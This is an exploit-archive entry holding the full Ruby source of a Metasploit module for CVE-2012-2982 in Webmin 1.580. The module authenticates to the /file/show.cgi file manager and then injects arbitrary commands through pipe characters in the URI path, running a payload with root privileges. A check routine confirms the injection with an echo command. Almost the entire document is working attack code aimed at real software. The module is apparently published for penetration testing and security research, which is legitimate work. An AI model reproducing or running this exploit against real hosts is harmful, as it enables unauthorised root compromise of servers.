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Webmin /file/show.cgi Remote Command Execution

Webmin /file/show.cgi Remote Command Execution
Posted Sep 17, 2012
Authored by unknown, juan vazquez | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Webmin 1.580. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges. The module has been tested successfully with Webim 1.580 over Ubuntu 10.04.

tags | exploit, arbitrary, cgi, root
systems | linux, ubuntu
advisories | CVE-2012-2982, OSVDB-85248
MD5 | dc34581214599ff103986008fd746663

Webmin /file/show.cgi Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin /file/show.cgi Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.580. The vulnerability exists in the /file/show.cgi component and allows an
authenticated user, with access to the File Manager Module, to execute arbitrary
commands with root privileges. The module has been tested successfully with Webim
1.580 over Ubuntu 10.04.
},
'Author' => [
'Unknown', # From American Information Security Group
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '85248'],
['BID', '55446'],
['CVE', '2012-2982'],
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webim 1.580', { }]],
'DisclosureDate' => 'Sep 06 2012',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class)
end

def check

peer = "#{rhost}:#{rport}"

print_status("#{peer} - Attempting to login...")

data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)

if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
print_good "#{peer} - Authentication successful"
session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
else
print_error "#{peer} - Authentication failed"
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Attempting to execute...")

command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)


if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end

end

def exploit

peer = "#{rhost}:#{rport}"

print_status("#{peer} - Attempting to login...")

data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)

if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "#{peer} - Authentication successfully"
else
print_error "#{peer} - Authentication failed"
return
end
print_good "#{peer} - Authentication successfully"
else
print_error "#{peer} - Authentication failed"
return
end

print_status("#{peer} - Attempting to execute the payload...")

command = payload.encoded

res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)


if res and res.code == 200 and res.message =~ /Document follows/
print_good "#{peer} - Payload executed successfully"
else
print_error "#{peer} - Error executing the payload"
return
end

end

end
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